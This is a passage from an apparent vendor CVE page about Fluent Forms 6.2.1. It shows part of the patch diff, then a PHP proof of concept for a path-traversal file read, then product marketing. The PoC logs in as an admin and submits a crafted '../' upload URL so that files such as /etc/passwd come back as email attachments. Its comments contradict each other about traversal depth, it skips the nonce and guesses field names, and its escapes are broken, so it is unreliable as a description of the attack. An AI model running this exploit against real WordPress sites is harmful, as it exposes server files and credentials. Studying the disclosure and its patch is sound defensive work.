+                return $submission->created_at ?? '';
+            },
+            'payment_status' => function ($submission) {
+                return $submission->payment_status ?? '';
+            },
+            'payment_total' => function ($submission) {
+                return round(($submission->payment_total ?? 0) / 100, 1);
+            },
+            'currency' => function ($submission) {
+                return $submission->currency ?? '';
+            },
+        ];
+
+        if (!isset($legacyValueResolvers[$header])) {
+            return '';
+        }
+
+        return $legacyValueResolvers[$header]($submission);
+    }
+
     private static function exportAsJSON($form, $args)
     {
         $formInputs = FormFieldsParser::getEntryInputs($form, ['admin_label', 'raw']);
--- a/fluentform/app/Services/WPAsync/FluentFormAsyncRequest.php
+++ b/fluentform/app/Services/WPAsync/FluentFormAsyncRequest.php
@@ -66,7 +66,7 @@
             'timeout' => 0.1,
             'blocking' => false,
             'body' => $data,
-            'cookies' => wpFluentForm('request')->cookie(),
+            'cookies' => $_COOKIE,
             'sslverify' => apply_filters('fluentform/https_local_ssl_verify', $sslVerify),
         );

--- a/fluentform/boot/app.php
+++ b/fluentform/boot/app.php
@@ -37,13 +37,25 @@
         ($app->make(ActivationHandler::class))->handle($network_wide);
     });

-    add_action('wp_insert_site', function ($blog) use ($app) {
-        if (is_plugin_active_for_network('fluentform/fluentform.php')) {
-            switch_to_blog($blog->blog_id);
-            ($app->make(ActivationHandler::class))->handle(false);
-            restore_current_blog();
+    $initializeNewSite = function ($blogId) use ($app) {
+        if (!is_plugin_active_for_network('fluentform/fluentform.php')) {
+            return;
         }
-    });
+
+        switch_to_blog($blogId);
+        ($app->make(ActivationHandler::class))->handle(false);
+        restore_current_blog();
+    };
+
+    if (function_exists('wp_initialize_site')) {
+        add_action('wp_initialize_site', function ($newSite) use ($initializeNewSite) {
+            $initializeNewSite($newSite->id);
+        }, 20, 1);
+    } else {
+        add_action('wpmu_new_blog', function ($blogId) use ($initializeNewSite) {
+            $initializeNewSite($blogId);
+        }, 10, 1);
+    }

     register_deactivation_hook($file, function () use ($app) {
         ($app->make(DeactivationHandler::class))->handle();
--- a/fluentform/boot/globals.php
+++ b/fluentform/boot/globals.php
@@ -387,9 +387,6 @@
         'style'           => [],
     ];

-    //button
-    $tags['button']['onclick'] = [];
-
     //svg
     if (empty($tags['svg'])) {
         $svg_args = [
@@ -434,6 +431,19 @@

     $tags = apply_filters('fluentform/allowed_html_tags', $tags);

+    // Event-handler attributes are executable JavaScript and must not be re-enabled by filters.
+    foreach ($tags as $tagName => $attributes) {
+        if (!is_array($attributes)) {
+            continue;
+        }
+
+        foreach (array_keys($attributes) as $attribute) {
+            if (preg_match('/^on[a-z]+/i', $attribute)) {
+                unset($tags[$tagName][$attribute]);
+            }
+        }
+    }
+
     return wp_kses($html, $tags);
 }

--- a/fluentform/fluentform.php
+++ b/fluentform/fluentform.php
@@ -4,7 +4,7 @@
 /**
  * Plugin Name: Fluent Forms
  * Description: Contact Form By Fluent Forms is the advanced Contact form plugin with drag and drop, multi column supported form builder plugin
- * Version: 6.2.1
+ * Version: 6.2.2
  * Author: Contact Form - WPManageNinja LLC
  * Author URI: https://fluentforms.com
  * Plugin URI: https://wpmanageninja.com/wp-fluent-form/
@@ -17,7 +17,7 @@
 defined('FLUENTFORM') or define('FLUENTFORM', true);
 define('FLUENTFORM_DIR_PATH', plugin_dir_path(__FILE__));
 define('FLUENTFORM_FRAMEWORK_UPGRADE', '4.3.22');
-defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.2.1');
+defined('FLUENTFORM_VERSION') or define('FLUENTFORM_VERSION', '6.2.2');
 defined('FLUENTFORM_MINIMUM_PRO_VERSION') or define('FLUENTFORM_MINIMUM_PRO_VERSION', '6.0.0');

 if (!defined('FLUENTFORM_HAS_NIA')) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6344 - Fluent Forms <= 6.2.1 Arbitrary File Read via Path Traversal in Email Attachment

// WARNING: This PoC is for authorized security testing only.
// Unauthorized use is illegal.

// Configuration: change these variables
$target_url = 'https://example.com'; // WordPress site URL
$admin_username = 'admin';
$admin_password = 'password';
$target_file = '/etc/passwd'; // File to read (absolute path from filesystem root)

// Step 1: Authenticate as admin
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $admin_username,
    'pwd' => $admin_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
preg_match_all('/^Set-Cookie:\s*([^;]+)/im', $response, $cookies);
$auth_cookie = '';
foreach ($cookies[1] as $cookie) {
    if (strpos($cookie, 'wordpress_logged_in_') === 0) {
        $auth_cookie = $cookie;
        break;
    }
}
if (!$auth_cookie) {
    die('Login failed. Check credentials or login URL.n');
}
echo "Authenticated as admin.n";

// Step 2: Get upload base URL (we'll derive it from known WordPress structure)
// WordPress uploads URL is typically: https://atomicedge.io/wp-content/uploads/
$uploads_base_url = $target_url . '/wp-content/uploads/';

// Step 3: Craft the malicious URL with path traversal
// The plugin checks if the URL starts with the uploads base URL.
// By prepending the uploads base URL, we bypass the strpos() check.
// Then we use ../ sequences to traverse up to the document root and then to the target file.
// We need to traverse from the uploads directory (e.g., /var/www/html/wp-content/uploads/)
// up to the filesystem root. The number of ../ depends on the depth.
// For a standard WordPress install, uploads dir is typically 3 levels deep from root.
// So we need ../../../ to reach root, then the absolute path of the target file (without leading slash).
// Example: uploads_base_url = https://example.com/wp-content/uploads/
// target_file = /etc/passwd => we need: https://example.com/wp-content/uploads/../../../etc/passwd
// This resolves to: /var/www/html/wp-content/uploads/../../../etc/passwd => /etc/passwd
// But we need to ensure we don't go above the filesystem root. The realpath() in the patched version
// would detect this, but the vulnerable version does not have this check.
$traversal = '';
// We'll assume uploads is at depth 3. Adjust as needed for target environment.
$depth = 3; // standard: wp-content/uploads/ is 2 levels from root? Actually wp-content is inside root, not under.
// Actually: typical path: /var/www/html/wp-content/uploads/ => depth 4 (var, www, html, wp-content, uploads)?
// Let's calculate: root is /. To go from /var/www/html/wp-content/uploads/ to /etc/passwd:
// We need: ../../../../etc/passwd (go up 4 levels to root: html, wp-content? Wait.
// Actually: /var/www/html/wp-content/uploads/ => directories: var, www, html, wp-content, uploads = 5 levels deep?
// The path /var/www/html/wp-content/uploads/ has components: var (depth 1), www (2), html (3), wp-content (4), uploads (5).
// So we need 5 levels of ../ to reach root: ../../../../../etc/passwd
// Let's use a dynamic approach: we'll generate enough ../ to reach root.
// A common heuristic: uploads depth is fixed. We'll try multiple depths for PoC.

// For simplicity, we'll use 5 levels of ../ which should work for most standard installs.
$traversal_str = str_repeat('../', 5);
$malicious_url = $uploads_base_url . $traversal_str . ltrim($target_file, '/');
echo "Crafted malicious URL: $malicious_urln";

// Step 4: Create a form submission with the malicious URL as the file upload field value
// This requires AJAX or direct form submission. We'll use a direct POST to the form handler.
// First, we need to find a form ID or create one. For simplicity, assume form ID 1 exists.
// We'll use the Fluent Forms AJAX endpoint for form submission: fluentform_submit
$form_id = 1; // adjust to an existing form that has a file upload field with admin notification attachment

// We'll craft the form data. The field name should match a file upload field.
// Let's assume the file upload field has name 'file_upload_1' (common pattern).
$form_data = [
    'action' => 'fluentform_submit',
    'form_id' => $form_id,
    'file_upload_1' => [$malicious_url], // array of URLs, as expected by the plugin
    // we may need nonce, but for simplicity we assume nonce is not required or we skip
];

// Submit the form
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
echo "Form submission response: " . substr($response, 0, 200) . "n";

// Step 5: Check email (requires email access; this PoC assumes you can check the admin email)
// In a real test, you would need access to the email inbox.
echo "Check the admin email for the attachment containing the target file.n";
echo "The file should be attached to the admin notification email sent by the form.n";

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School